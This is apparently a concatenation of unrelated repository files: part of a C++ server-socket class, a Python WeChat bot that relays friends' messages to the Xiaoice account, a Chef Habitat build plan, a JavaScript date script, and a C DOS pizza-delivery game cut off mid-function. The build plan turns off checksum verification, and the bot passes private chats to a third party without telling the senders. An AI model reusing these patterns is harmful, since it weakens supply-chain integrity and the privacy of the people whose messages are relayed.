cout << __PRETTY_FUNCTION__ << endl;
this->maxConnection = SOMAXCONN;
}
ServerSocket::ServerSocket(unsigned int portNumber, const HostInfo &info, const string separator, unsigned int maxConnection) throw(ErrnoException, SocketException)
: Socket(portNumber, info, separator) {
if(maxConnection > SOMAXCONN)
throw SocketException("ServerSocket::ServerSocket(int portNumber, const HostInfo &info, const string endingSeparator, int maxConnection) >> Error, maxConnection is greater than SOMAXCONN.");
this->maxConnection = maxConnection;
}
ServerSocket::ServerSocket(const ServerSocket &orig) : Socket(orig), maxConnection(orig.maxConnection) {}
ServerSocket::~ServerSocket() {
if(this->socketHandle!= -1)
close(this->socketHandle);
}
void ServerSocket::bind() throw(ErrnoException) {
int sizeStruct = sizeof(struct sockaddr_in);
if(::bind(this->socketHandle, (struct sockaddr *)&(this->socketAddress), sizeStruct) == -1)
throw ErrnoException(errno, "void ServerSocket::bind() >> Error binding socket.");
}
void ServerSocket::listen() throw(SocketException, ErrnoException){
if(this->maxConnection == 0) {
close(this->socketHandle);
throw SocketException("void ServerSocket::listen() >> Error, maxConnection is not valid).");
}
if( ::listen(this->socketHandle, this->maxConnection) == -1) {
close(this->socketHandle);
throw ErrnoException(errno, "void ServerSocket::listen() >> Error trying to listen().");
}
}
Socket* ServerSocket::accept() {
int serviceSocketHandle;
struct sockaddr_in clientAddress;
int clientAddressLength = sizeof(struct sockaddr_in);
serviceSocketHandle = ::accept(this->socketHandle, (struct sockaddr *)&clientAddress, (socklen_t *)&clientAddressLength);
if(serviceSocketHandle == -1) {
close(this->socketHandle);
throw ErrnoException(errno, "const Socket *ServerSocket::accept() >> Error accepting connection.");
}
ServerSocket *serviceSocket = new ServerSocket(*this);
serviceSocket->socketHandle = serviceSocketHandle;
return serviceSocket;
}
| 97e169f89aacdfc34c1f3bce2e9588f4fd277cfe | [
"SQL",
"CMake",
"Makefile",
"INI",
"Java",
"Python",
"C",
"C++"
] | 175 | Java | OceStasse/Reseaux | 437c03361193c24881bc13fdb5ddb9886235bdf4 | 59d6949926263b517b1c4c53ace9883b8d0eb285 |
refs/heads/master | <repo_name>jjfly10086/xiaoice-robot<file_sep>/wx_auto_replay.py
import itchat
from itchat.content import *
from queue import Queue
# 微信微软小冰公众号
XIAO_ICE_USER_NAME = ''
# 消息发送者队列
my_queue = Queue()
# 最后一个队列用户,默认我自己
last_to_user_name = ''
# 监听个人文字消息
@itchat.msg_register([TEXT, MAP, CARD, NOTE, SHARING])
def text_replay(msg):
print('receive personal message from [%s], msgType: [%s], message: [%s]' % (msg.fromUserName, msg.type, msg.text))
# 存队列
my_queue.put(msg.fromUserName)
global last_to_user_name
last_to_user_name = msg.fromUserName
# 向小冰发送消息
itchat.send(msg.text, toUserName=XIAO_ICE_USER_NAME)
# msg.user.send('%s: %s' % (msg.type, msg.text))
# 监听个人附件消息
@itchat.msg_register([PICTURE, RECORDING, ATTACHMENT, VIDEO])
def download_files(msg):
print('receive personal message from [%s], msgType: [%s], message: [%s]' % (msg.fromUserName, msg.type, msg.text))
msg.download(msg.fileName)
type_symbol = {
PICTURE: 'img',
VIDEO: 'vid', }.get(msg.type, 'fil')
to_msg = '@%s@%s' % (type_symbol, msg.fileName)
# 存队列
my_queue.put(msg.fromUserName)
global last_to_user_name
last_to_user_name = msg.fromUserName
# 向小冰发送消息
itchat.send(to_msg, toUserName=XIAO_ICE_USER_NAME)
# 监听公众号文字消息
# 消息类型,是否是个人消息,群组消息,公众号消息
@itchat.msg_register([TEXT, MAP, CARD, NOTE, SHARING], isFriendChat=False, isGroupChat=False, isMpChat=True)
def get_message(msg):
print('receive 公众号消息 from [%s], msgType: [%s], message: [%s]' % (msg.fromUserName, msg.type, msg.text))
if msg.fromUserName == XIAO_ICE_USER_NAME:
if my_queue.empty():
to_user_name = last_to_user_name
print('queue is empty, use last userName: [%s]' % last_to_user_name)
else:
to_user_name = my_queue.get()
print('to send userName %s' % to_user_name)
itchat.send(msg.text, toUserName=to_user_name)
# 监听公众号媒体消息
# 消息类型,是否是个人消息,群组消息,公众号消息
@itchat.msg_register([PICTURE, RECORDING, ATTACHMENT, VIDEO], isFriendChat=False, isGroupChat=False, isMpChat=True)
def get_message(msg):
print('receive 公众号消息 from [%s], msgType: [%s], message: [%s]' % (msg.fromUserName, msg.type, msg.text))
msg.download(msg.fileName)
if msg.fromUserName == XIAO_ICE_USER_NAME:
if my_queue.empty():
to_user_name = last_to_user_name
print('queue is empty, use last userName: [%s]' % last_to_user_name)
else:
to_user_name = my_queue.get()
print('to send userName %s' % to_user_name)
type_symbol = {
PICTURE: 'img',
VIDEO: 'vid', }.get(msg.type, 'fil')
to_msg = '@%s@%s' % (type_symbol, msg.fileName)
itchat.send(to_msg, toUserName=to_user_name)
if __name__ == '__main__':
itchat.auto_login(hotReload=True)
mps = itchat.search_mps(name='小冰')
mps_size = len(mps)
if mps_size == 0:
print('search_mps(\'小冰\') resp is null')
itchat.logout()
else:
print(mps[0]['UserName'])
XIAO_ICE_USER_NAME = mps[0]['UserName']
# 获取自己的用户信息,返回自己的属性字典
my_own = itchat.search_friends()
print(my_own['UserName'])
last_to_user_name = my_own['UserName']
itchat.run()
<file_sep>/README.md
# xiaoice-robot
### 微信自动回复聊天机器人,基于微软小冰公众号(转发公众号内容)
| 81d51aa90900ec1a98b2189e8d2112b8926b0aaf | [
"Markdown",
"Python"
] | 2 | Python | jjfly10086/xiaoice-robot | 4d1bb45e64e5ee97d2b011a30d3b5521bfab9d37 | 9d707a6c9d358c6d0364e4fd777183ac8b84b8dd |
refs/heads/master | <repo_name>chef-base-plans/chef-client<file_sep>/controls/chef-client_exists.rb
chef_path = input('chef_path', value: '/bin/chef-client')
describe file(chef_path) do
it { should exist }
end
<file_sep>/plan.sh
pkg_name=chef
pkg_origin=chef
pkg_version=16.2.32
pkg_maintainer="The Chef Maintainers <<EMAIL>>"
pkg_description="The Chef Infra Client"
pkg_license=('Apache-2.0')
pkg_source="https://github.com/chef/chef/archive/v${pkg_version}.tar.gz"
pkg_shasum=378fbceaa89ecf57d79119090fc15a9f0be211a47493658388e7b27021309446
pkg_filename="${pkg_name}-${pkg_version}.tar.gz"
pkg_bin_dirs=(bin)
_chef_client_ruby="core/ruby27"
pkg_build_deps=(
core/make
core/gcc
core/git
)
pkg_deps=(
core/glibc
$_chef_client_ruby
core/libxml2
core/libxslt
core/libiconv
core/xz
core/zlib
core/openssl
core/cacerts
core/libffi
core/coreutils
core/libarchive
)
pkg_svc_user=root
do_verify() {
build_line "Skipping checksum verification on the archive we just created."
return 0
}
do_prepare() {
export OPENSSL_LIB_DIR=$(pkg_path_for openssl)/lib
export OPENSSL_INCLUDE_DIR=$(pkg_path_for openssl)/include
export SSL_CERT_FILE=$(pkg_path_for cacerts)/ssl/cert.pem
build_line "Setting link for /usr/bin/env to 'coreutils'"
if [ ! -f /usr/bin/env ]; then
ln -s "$(pkg_interpreter_for core/coreutils bin/env)" /usr/bin/env
fi
}
do_build() {
local _libxml2_dir
local _libxslt_dir
local _zlib_dir
export CPPFLAGS
export GEM_HOME
export GEM_PATH
export NOKOGIRI_CONFIG
_libxml2_dir=$(pkg_path_for libxml2)
_libxslt_dir=$(pkg_path_for libxslt)
_zlib_dir=$(pkg_path_for zlib)
CPPFLAGS="${CPPFLAGS} ${CFLAGS}"
GEM_HOME=${pkg_prefix}/bundle
GEM_PATH=${GEM_HOME}
NOKOGIRI_CONFIG="--use-system-libraries \
--with-zlib-dir=${_zlib_dir} \
--with-xslt-dir=${_libxslt_dir} \
--with-xml2-include=${_libxml2_dir}/include/libxml2 \
--with-xml2-lib=${_libxml2_dir}/lib"
build_line "Executing bundle install inside hab-cache path. ($CACHE_PATH/chef-config)"
( cd "$CACHE_PATH/chef-config" || exit_with "unable to enter hab-cache directory" 1
bundle config --local build.nokogiri "${NOKOGIRI_CONFIG}"
bundle config --local silence_root_warning 1
_bundle_install "${pkg_prefix}/bundle"
)
build_line "Executing bundle install inside source path. ($SRC_PATH)"
_bundle_install "${pkg_prefix}/bundle"
}
do_install() {
build_line "Copying directories from source to pkg_prefix"
mkdir -p "${pkg_prefix}/chef"
for dir in bin chef-bin chef-config chef-utils lib chef.gemspec Gemfile Gemfile.lock; do
cp -rv "${SRC_PATH}/${dir}" "${pkg_prefix}/chef/"
done
# If we generated them on install, bundler thinks our source is in $HAB_CACHE_SOURCE_PATH
build_line "Generating binstubs with the correct path"
( cd "$pkg_prefix/chef" || exit_with "unable to enter pkg prefix directory" 1
_bundle_install \
"${pkg_prefix}/bundle" \
--local \
--quiet \
--binstubs "${pkg_prefix}/bin"
)
build_line "Fixing bin/ruby and bin/env interpreters"
fix_interpreter "${pkg_prefix}/bin/*" core/coreutils bin/env
fix_interpreter "${pkg_prefix}/bin/*" "$_chef_client_ruby" bin/ruby
}
do_end() {
if [ "$(readlink /usr/bin/env)" = "$(pkg_interpreter_for core/coreutils bin/env)" ]; then
build_line "Removing the symlink we created for '/usr/bin/env'"
rm /usr/bin/env
fi
}
do_strip() {
return 0
}
# Helper function to wrap up some repetitive bundle install flags
_bundle_install() {
local path
path="$1"
shift
bundle install ${*:-} \
--jobs "$(nproc)" \
--without development:test:docgen \
--path "$path" \
--shebang="$(pkg_path_for "$_chef_client_ruby")/bin/ruby" \
--no-clean \
--retry 5 \
--standalone
}
<file_sep>/README.md
[](https://dev.azure.com/chefcorp-partnerengineering/Chef%20Base%20Plans/_build/latest?definitionId=93&branchName=master)
Chef Infra, a powerful automation platform that transforms infrastructure into code automating how infrastructure is configured, deployed and managed across any environment, at any scale
For more details visit - https://github.com/chef/chef
TODO
| 223303bc6e48a6e91df17b824f81adc80e6293fc | [
"Markdown",
"Ruby",
"Shell"
] | 3 | Ruby | chef-base-plans/chef-client | 1aedb4fbbf5e4a39d73ca7111bcee5424115a414 | 2199b25e97c9b4c5a1912706aa248b00df2baa3d |
refs/heads/master | <repo_name>Sumapraja/project-javascript-date-methods<file_sep>/index.js
let now = new Date()
console.log(now)
let selectedDate = new Date('2017-01-26')
console.log(selectedDate)
let date = new Date(2011, 0, 1, 2, 3, 4, 567)
console.log(date)
let selectTime = new Date();
let hour = "";
let minute = "";
let seconds = "";
let days = ["Minggu", "Senin", "Selasa", "Rabu", "Kamis", "Jum'at", "Sabtu"];
let months = [
"Jan",
"Feb",
"Mar",
"Apr",
"Mei",
"Jun",
"Jul",
"Aug",
"Sep",
"Oct",
"Nov",
"Dec"
];
let dateToday = selectTime.getDate();
let dayNow = days[selectTime.getDay()];
let monthNow = months[selectTime.getMonth()];
let yearNow = selectTime.getFullYear();
let hourNow =
hour +
selectTime
.getHours()
.toString()
.padStart(2, "0");
let minuteNow =
minute +
selectTime
.getMinutes()
.toString()
.padStart(2, "0");
let secondsNow =
seconds +
selectTime
.getSeconds()
.toString()
.padStart(2, "0");
console.log(`Hari ini ${dayNow}, ${dateToday} ${monthNow} ${yearNow}`);
alert(`Hari ini ${dayNow}, ${dateToday} ${monthNow} ${yearNow}`)
console.log(`Sekarang Pukul ${hourNow}:${minuteNow}:${secondsNow} WIB`);
<file_sep>/README.md
# Project Javascript Date Methods | 8fbcfa4d887b3558e2cbf290765e05a2ceb979ec | [
"JavaScript",
"Markdown"
] | 2 | JavaScript | Sumapraja/project-javascript-date-methods | d8a21858d4f2bef1dc57ac34247509fa7061ec9d | 0257fa47b96087904e6b97eebafefb083fa11eec |
refs/heads/master | <repo_name>pngwen/TYGAME21<file_sep>/day_18/simpizza.c
// I N C L U D E S ///////////////////////////////////////////////////////////
#include <io.h>
#include <conio.h>
#include <stdio.h>
#include <stdlib.h>
#include <dos.h>
#include <bios.h>
#include <fcntl.h>
#include <memory.h>
#include <malloc.h>
#include <math.h>
#include <string.h>
#include "graph3.h" // include our graphics stuff
#include "graph4.h"
#include "graph6.h"
#include "graph8.h" // fixed point library
#include "graph9.h" // sound library
#include "graph11.h" // multitasking and keyboard interrupt driver
// P R O T O T Y P E S ///////////////////////////////////////////////////////
void Show_Stats();
void Age_Orders(void);
void Order_Pizza(void);
void Blink_House(int house_number);
void Start_Pizza(int x,
int y,
int xv,
int yv,
int direction);
void Erase_Pizzas(void);
void Behind_Pizzas(void);
void Draw_Pizzas(void);
void Move_Pizzas(void);
void Init_Pizzas(void);
void Load_Death(void);
void Start_Boy_Death(void);
void Erase_Boy_Death(void);
void Behind_Boy_Death(void);
void Draw_Boy_Death(void);
void Animate_Boy_Death(void);
void Init_Messages(void);
int Insert_Message(char *string,int preempt);
void Start_Message(int index);
void Display_Message(void);
void Send_Message(void);
void Start_Splat(int x,int y,int speed,int color);
void Behind_Splats(void);
void Erase_Splats(void);
void Draw_Splats(void);
void Animate_Splats(void);
void Init_Splats(void);
void Erase_Humans(void);
void Behind_Humans(void);
void Draw_Humans(void);
int Start_Human(void);
void Move_Humans(void);
void Init_Humans(void);
void Erase_Cars(void);
void Behind_Cars(void);
void Draw_Cars(void);
void Move_Cars(void);
void Init_Cars(void);
unsigned char Get_Pixel_DB(int x,int y);
int Initialize_Sound_System(void);
void Close_Sound_System(void);
void Play_Sound(int sound);
void Do_Intro(void);
void Load_Environment(void);
void Load_Background(void);
void Draw_Gauages(void);
// D E F I N E S /////////////////////////////////////////////////////////////
#define DEBUG 0 // turns on/off debug information
#define FP_SHIFT_D64 12 // converts a fixed point to an int and divides
// by 16 in one operation
#define END_MOPEDS 1 // game ended because player used up mopeds
#define END_TIME 2 // game ended because it's past 5:00pm
// defines for pizzas
#define PIZZA_ALIVE 1 // state of a live Pizza
#define PIZZA_DEAD 0 // state of a dead Pizza
#define NUM_PIZZAS 3 // number of Pizzas that can be fired
#define NUM_PIZZA_FRAMES 8 // number of frames in pizza animation
#define START_NUM_COLOR (14*16)
#define END_NUM_COLOR (14*16+23)
#define START_SPEEDO_COLOR (10*16)
#define END_SPEEDO_COLOR (10*16+5)
#define ROOF_COLOR_REG 204 // the roofs color register
#define MAX_HOUSES 32 // the maximum number of houses in the city
#define HOUSE_NO_ORDER 0 // this house has not ordered
#define HOUSE_ORDERED 1 // this house is waiting for a pizza
// game area defines
#define CELL_COLUMNS 20 // number of columns in the cell world
#define CELL_ROWS 11 // number of rows in the cell world
// general Splats
#define NUM_SPLATS 4 // number of Splats that can run at once
#define SPLAT_DEAD 0 // state of a dead Splat
#define SPLAT_ALIVE 1 // state of a live Splat
// human defines
#define NUM_HUMAN_FRAMES 16 // number of animation frames
#define NUM_HUMANS 8 // maximum number of humans
#define HUMAN_DEAD 0 // states of humans
#define HUMAN_NORTH 1
#define HUMAN_SOUTH 2
#define HUMAN_WEST 3
#define HUMAN_EAST 4
// player defines
#define NUM_BOY_FRAMES 16 // number of animation cells for players moped
#define BOY_DEAD 0 // states for vinnie
#define BOY_ALIVE 1
#define BOY_DYING 2
// car defines
#define NUM_CARS 8 // number of cars in the simulation
#define NUM_CAR_FRAMES 20 // number of animation cells for cars
#define CAR_COLOR_1 0 // base offsets for different colors
#define CAR_COLOR_2 4
#define CAR_COLOR_3 8
#define CAR_COLOR_4 12
#define CAR_DEAD 0 // states of cars
#define CAR_STARTING 1
#define CAR_DRIVING 2
#define CAR_SLOWING 3
#define CAR_STOPPED 4
#define CAR_NORTH 1 // directions of cars
#define CAR_SOUTH 2
#define CAR_WEST 3
#define CAR_EAST 4
// player defines for vinnie
#define PLAYER_DEAD 0
#define PLAYER_ALIVE 1
#define PLAYER_DYING 2
// direction of player
#define PLAYER_EAST 0
#define PLAYER_WEST 1
#define PLAYER_NORTH 2
#define PLAYER_SOUTH 3
// define bitmap id's
#define STOP_NORTH_ID 9 // a stop sign on a north bound street
#define STOP_SOUTH_ID 8 // a stop sign on an east bound street
#define HOUSE_WEST_1_ID 33 // id's for the 4 bitmaps that make up a west
#define HOUSE_WEST_2_ID 34 // facing house
#define HOUSE_WEST_3_ID 35
#define HOUSE_WEST_4_ID 36
#define HOUSE_EAST_1_ID 37 // id's for the 4 bitmaps that make up a east
#define HOUSE_EAST_2_ID 38 // facing house
#define HOUSE_EAST_3_ID 39
#define HOUSE_EAST_4_ID 40
#define NUM_MESSAGES 8 // maximum number of pending messages
// states of a message
#define MESS_DEAD 0 // this message is dead
#define MESS_WAIT 1 // this message is waiting
// sound system defines
#define NUM_SOUNDS 14 // number of sounds in system
#define SOUND_CAR_STOP 0 // a car stopping
#define SOUND_CAR_START 1 // a car starting
#define SOUND_MOPED_HORN 2 // the mopeds horn
#define SOUND_CAR_HORN 3 // a cars horn
#define SOUND_MOPED_HIT 4 // the moped being hit
#define SOUND_HUMAN_HIT 5 // a human being hit
#define SOUND_YO_VINNIE 6 // here's an order
#define SOUND_LOST_ORDER 7 // you lost an order
#define SOUND_THANK_YOU_B 8 // thank you from the customer (boy)
#define SOUND_THANK_YOU_G 9 // thank you from the customer (girl)
#define SOUND_TOO_LONG 10 // delivery took too long
#define SOUND_COME_HOME 11 // days over
#define SOUND_CAR_SOUND 12 // backgronud car sound
#define SOUND_START 13 // start of game
#define SOUND_DEFAULT_PORT 0x220 // default sound port for sound blaster
#define SOUND_DEFAULT_INT 5 // default interrupt
// M A C R O S //////////////////////////////////////////////////////////////
#define SET_SPRITE_SIZE(w,h) {sprite_width=w; sprite_height=h;}
// S T R U C T U R E S ///////////////////////////////////////////////////////
// this is the structure used to database all the house positions in the city
typedef struct house_typ
{
int x; // position of house
int y;
int type; // type of house i.e. east or west front door
int num; // house number
int state; // is there an order pending
int timer; // the current time left to deliver the pizza
} house, *house_ptr;
// typedef for the car
typedef struct car_typ
{
int x; // x position
int y; // y position
int curr_xv; // x velocity
int curr_yv; // y velocity
int max_xv; // max x velocity
int max_yv; // max y velocity
int state; // the state of the car
int direction;
int counter_1; // use for counting
int threshold_1; // the counters threshold
int counter_2;
int threshold_2;
int counter_3;
int threshold_3;
int color; // color of car
sprite object; // the sprite
} car, *car_ptr;
// typedef for the player
typedef struct player_typ
{
fixed x; // x position
fixed y; // y position
fixed xv; // x velocity
fixed yv; // y velocity
fixed curr_xv; // x velocity
fixed curr_yv; // y velocity
fixed max_xv; // max x velocity
fixed max_yv; // max y velocity
fixed throttle; // current throttle position
fixed hp; // horse power
fixed friction; // the friction of the air, bike, ...
fixed brakes; // the braking friction
fixed max_throttle; // maximum throttle position
int state; // the state of the player
int direction;
int counter_1; // use for counting
int threshold_1; // the counters threshold
int counter_2;
int threshold_2;
int counter_3;
int threshold_3;
sprite object; // the sprite
} player, *player_ptr;
// typedef for a projectile
typedef struct projectile_typ
{
int x; // x position
int y; // y position
int xv; // x velocity
int yv; // y velocity
int state; // the state of the particle
int counter_1; // use for counting
int threshold_1; // the counters threshold
int counter_2;
int threshold_2;
sprite object; // the projectile sprite
} projectile, *projectile_ptr;
// this structure holds the message data
typedef struct message_type
{
char string[64]; // holds the message
int state; // state of message waiting, playing, dead
} message, *message_ptr;
// G L O B A L S ////////////////////////////////////////////////////////////
pcx_picture imagery_pcx, // the game imagery
background_pcx, // the backdrop
intro_pcx; // the introduction screen
// the sprites used in the game
sprite roads, // the road bitmaps
builds, // the building and house bitmaps
numbers, // the house numbers
humans[NUM_HUMANS], // the humans on the streets
splats[NUM_SPLATS], // the array of Splats
boy_death; // the death sequence sprite for the boy
projectile pizzas[NUM_PIZZAS]; // the array of pizzas in the world
player boy; // <NAME> pizza boy
// statistics of boy
int boy_mopeds = 3, // number of mopeds
boy_pizzas = 0, // number of pizzas on moped rack
boy_xpeds = 0, // number of peds player has killed
boy_tips = 0, // current tips
boy_time = 540, // the time in minutes
orders_filled = 0, // how many orders have been filled
total_orders = 0; // total pizzas ordered
int throttle_on=0; // flags if the pizza boy has the throttle on
car cars[NUM_CARS]; // the cars in the game
house house_pos[MAX_HOUSES]; // the houses in the city
int curr_house; // the last house entered into database
RGB_color roof_color, // used to hold roof color
alert_color = {63,63,63}; // used as the house wants a pizza color!
int lite_house = 0; // debuging var used to light houses up
int difficulty=75; // difficulty of game, 100 is easy 1 is hardest
long players_score = 0; // initial score
int players_dir = PLAYER_SOUTH; // initial direction of player
message messages[NUM_MESSAGES]; // the array of messages which is really a
// circular queue
int mess_head=-1, // head of message queue
mess_tail=-1; // tail of message queue
int message_index = 0, // current string index of message
message_length = 0, // overall length of message
message_done = 1; // is the message done playing
char message_string[128]; // global message string
// the sound system variables
char far *sound_fx[NUM_SOUNDS]; // pointers to the voc files
unsigned char sound_lengths[NUM_SOUNDS]; // lengths of the voc files
int sound_available = 0; // flags if sound is available
int sound_port = SOUND_DEFAULT_PORT; // default sound port
int sound_int = SOUND_DEFAULT_INT; // default sound interrupt
// data structures
// the city that pizza boy delivers to
char *city_1[CELL_ROWS] = { "..45[]0145[]{.45[]01",
"..76[]3276[]0176[]32",
"..45[]01.}[]3245[]01",
"..76s]32.}s]{.76s]32",
"^^^^##^^^^##^^^^##^^",
"vvvv##vvvv##vvvv##vv",
"..45[S{.45[S0145[S{.",
"..76[]0176[]3276[]01",
"cd89[]3245[]{..}[]32",
"feba[]0176[]0145[]01",
"...}[]32.}[]3276[]32",};
// velocities used to compute trajectory vector of moped
fixed boy_xv[NUM_BOY_FRAMES] =
{(fixed)(1.000000*FP_SHIFT_2N),
(fixed)(0.923880*FP_SHIFT_2N),
(fixed)(0.707107*FP_SHIFT_2N),
(fixed)(0.382684*FP_SHIFT_2N),
(fixed)(0.000001*FP_SHIFT_2N),
(fixed)(-0.382682*FP_SHIFT_2N),
(fixed)(-0.707105*FP_SHIFT_2N),
(fixed)(-0.923879*FP_SHIFT_2N),
(fixed)(-1.000000*FP_SHIFT_2N),
(fixed)(-0.923881*FP_SHIFT_2N),
(fixed)(-0.707109*FP_SHIFT_2N),
(fixed)(-0.382687*FP_SHIFT_2N),
(fixed)(-0.000004*FP_SHIFT_2N),
(fixed)(0.382679*FP_SHIFT_2N),
(fixed)(0.707103*FP_SHIFT_2N),
(fixed)(0.923878*FP_SHIFT_2N)};
fixed boy_yv[NUM_BOY_FRAMES] =
{(fixed)(0.000000 *FP_SHIFT_2N),
(fixed)(-0.382683*FP_SHIFT_2N),
(fixed)(-0.707106*FP_SHIFT_2N),
(fixed)(-0.923879*FP_SHIFT_2N),
(fixed)(-1.000000*FP_SHIFT_2N),
(fixed)(-0.923880*FP_SHIFT_2N),
(fixed)(-0.707108*FP_SHIFT_2N),
(fixed)(-0.382686*FP_SHIFT_2N),
(fixed)(-0.000003*FP_SHIFT_2N),
(fixed)(0.382681 *FP_SHIFT_2N),
(fixed)(0.707104 *FP_SHIFT_2N),
(fixed)(0.923878 *FP_SHIFT_2N),
(fixed)(1.000000 *FP_SHIFT_2N),
(fixed)(0.923881 *FP_SHIFT_2N),
(fixed)(0.707110 *FP_SHIFT_2N),
(fixed)(0.382688 *FP_SHIFT_2N)};
// an integer version of the fixed point tables used to throw the pizzas with
int pizza_xv[] ={3,
3,
2,
1,
0,
0,
-1,
-2,
-2,
-2,
-1,
0,
0,
1,
2,
3,};
int pizza_yv[] = {0,
0,
-1,
-2,
-2,
-2,
-1,
0,
0,
1,
2,
3,
3,
3,
2,
1,};
// F U N C T I O N S //////////////////////////////////////////////////////////
void Erase_Boy_Death(void)
{
// this function erases the flying moped
// test if the boy is dying
if (boy.state == BOY_DYING)
{
// set sprite size for engine
SET_SPRITE_SIZE(32,30);
// erase the sprite
Erase_Sprite_DB((sprite_ptr)&boy_death);
} // end if boy is dying
} // end Erase_Boy_Death
//////////////////////////////////////////////////////////////////////////////
void Draw_Boy_Death(void)
{
// this function draws the flying moped
// test if the boy is dying
if (boy.state == BOY_DYING)
{
// set sprite size for engine
SET_SPRITE_SIZE(32,30);
// draw the sprite
Draw_Sprite_DB((sprite_ptr)&boy_death);
} // end if boy is dying
} // end Draw_Boy_Death
///////////////////////////////////////////////////////////////////////////////
void Behind_Boy_Death(void)
{
// this function scans under the flying moped
// test if the boy is dying
if (boy.state == BOY_DYING)
{
// set sprite size for engine
SET_SPRITE_SIZE(32,30);
// erase the sprite
Behind_Sprite_DB((sprite_ptr)&boy_death);
} // end if boy is dying
} // end Behind_Boy_Death
//////////////////////////////////////////////////////////////////////////////
void Animate_Boy_Death(void)
{
// this function moves and animates the flying moped
if (boy.state==BOY_DYING)
{
// test if we are moving up or down
if (boy_death.motion_clock==1) // going up i.e. toward center of screen
{
// move player toward center of screen to make it look 3-D
// x - tracking
if (boy_death.x<160)
boy_death.x+=4;
else
if (boy_death.x>160+4)
boy_death.x-=4;
// y - tracking
if (boy_death.y<100)
boy_death.y+=4;
else
if (boy_death.y>100+4)
boy_death.y-=4;
} // end if going up
else
{
// must be falling back to earth
// move player toward where he was hit
// x - tracking
if (boy_death.x<boy_death.x_old)
boy_death.x+=4;
else
if (boy_death.x>boy_death.x_old+4)
boy_death.x-=4;
// y - tracking
if (boy_death.y<boy_death.y_old )
boy_death.y+=4;
else
if (boy_death.y>boy_death.y_old+4)
boy_death.y-=4;
} // end else
// do a boundary test to make sure sprite stays on screen
// x - tests
if (boy_death.x>320-32)
boy_death.x=320-32;
else
if (boy_death.x<0)
boy_death.x=0;
// y - tests
if (boy_death.y>200-32)
boy_death.y=200-32;
else
if (boy_death.y<0)
boy_death.y=0;
// test if it's time to animate
if (++boy_death.anim_clock==boy_death.anim_speed)
{
// reset clock
boy_death.anim_clock = 0;
// move to next frame in sequence
++boy_death.curr_frame;
// test if it's time to end death or change direction of motion
if (boy_death.curr_frame==7)
{
// make player fall back down
boy_death.motion_clock=-1;
} // end if start player back to earth
else
if (boy_death.curr_frame==16)
{
// player has gone through death sequence so start him back at
// the pizza hut
// set up state information
boy.state = BOY_ALIVE;
boy_death.state = BOY_ALIVE;
boy.x = Assign_Integer(48);
boy.y = Assign_Integer(144);
boy.curr_xv = 0;
boy.curr_yv = 0;
boy.max_xv = 0;
boy.max_yv = 0;
boy.xv = 0;
boy.yv = 0;
boy.throttle = 0;
boy.hp = Assign_Float((float).4);
boy.friction = Assign_Float((float)-.10);
boy.brakes = Assign_Integer(1);
boy.max_throttle = Assign_Integer(3);
boy.counter_1 = 0;
boy.threshold_1 = 2;
boy.object.curr_frame = 0;
boy.direction = 0;
} // end if it's all over
} // end if time to change frames
} // end if boy is dying
} // end Animate_Boy_Death
/////////////////////////////////////////////////////////////////////////////
void Start_Boy_Death(void)
{
// this function starts the animation sequence for the boy being hit by a car
boy.state = BOY_DYING;
boy_death.state = BOY_DYING;
boy_death.x = (int)(boy.x >> FP_SHIFT)+3-16;
boy_death.y = (int)(boy.y >> FP_SHIFT)+3-16;
boy_death.x_old = boy_death.x;
boy_death.y_old = boy_death.y;
boy_death.anim_clock = 0;
boy_death.anim_speed = 2;
boy_death.motion_clock = 1; // use this to mean going up
// make sure proper animation cell is selected
boy_death.curr_frame = 0;
// set sprite size for engine
SET_SPRITE_SIZE(32,30);
Behind_Sprite_DB((sprite_ptr)&boy_death);
// send a message
Insert_Message("ARRRRGGGGG!!!!!",1);
} // end Start_Boy_Death
/////////////////////////////////////////////////////////////////////////////
void Erase_Pizzas(void)
{
// this function indexes through all the pizzas and if they are active
// erases them by replacing the background color that was under them
int index;
// set sprite size for engine
SET_SPRITE_SIZE(6,6);
for (index=0; index<NUM_PIZZAS; index++)
{
// is this pizza active
if (pizzas[index].state == PIZZA_ALIVE)
{
// extract proper parameters
pizzas[index].object.x = pizzas[index].x;
pizzas[index].object.y = pizzas[index].y;
// erase the sprite
Erase_Sprite_DB((sprite_ptr)&pizzas[index].object);
} // end if alive
} // end for index
} // end Erase_Pizzas
/////////////////////////////////////////////////////////////////////////////
void Behind_Pizzas(void)
{
// this function indexes through all the pizzas and if they are active
// scans the background color that is behind them so it can be replaced later
int index;
// set sprite size for engine
SET_SPRITE_SIZE(6,6);
for (index=0; index<NUM_PIZZAS; index++)
{
// is this pizza active
if (pizzas[index].state == PIZZA_ALIVE)
{
// extract proper parameters
pizzas[index].object.x = pizzas[index].x;
pizzas[index].object.y = pizzas[index].y;
// scan begind the sprite
Behind_Sprite_DB((sprite_ptr)&pizzas[index].object);
} // end if alive
} // end for index
} // end Behind_Pizzas
/////////////////////////////////////////////////////////////////////////////
void Draw_Pizzas(void)
{
// this function indexes through all the pizzas and if they are active
// draws the missile as a bright white pixel on the screen
int index;
// set sprite size for engine
SET_SPRITE_SIZE(6,6);
for (index=0; index<NUM_PIZZAS; index++)
{
// is this pizza active
if (pizzas[index].state == PIZZA_ALIVE)
{
// extract proper parameters
pizzas[index].object.x = pizzas[index].x;
pizzas[index].object.y = pizzas[index].y;
// draw the sprite
Draw_Sprite_DB((sprite_ptr)&pizzas[index].object);
} // end if alive
} // end for index
} // end Draw_Pizzas
/////////////////////////////////////////////////////////////////////////////
void Move_Pizzas(void)
{
// this function moves the pizzas and does all the collision detection
int index, // used for loops
hindex, // used to index through houses
pizza_x, // position of pizza
pizza_y,
pizza_x_center, // center of pizza
pizza_y_center,
cell_x,cell_y,cell_id; // used to test if pizza has hit a background cell
float tip; // used to compute tip
char buffer[128]; // used to build up strings
// loop thru all pizzas and perform a lot of tests
for (index=0; index<NUM_PIZZAS; index++)
{
// is missile active
if (pizzas[index].state == PIZZA_ALIVE)
{
// move the pizza
pizza_x = (pizzas[index].x += pizzas[index].xv);
pizza_y = (pizzas[index].y += pizzas[index].yv);
// animate the pizza
if (++pizzas[index].object.curr_frame>=NUM_PIZZA_FRAMES)
pizzas[index].object.curr_frame = 0;
// compute center of pizza for ease of computations
pizza_x_center = pizza_x+3;
pizza_y_center = pizza_y+3;
// comment this stuff out for now
// cell_x = pizza_x_center >> 4; // divide by 16 since cells are 16x16 pixels
// cell_y = pizza_y_center >> 4;
// what is the cell at this location
// cell_id =
// test if pizza has entered into a house that has ordered space
for (hindex=0; hindex<=curr_house; hindex++)
{
// test if this house has a pending order
if (house_pos[hindex].state == HOUSE_ORDERED)
{
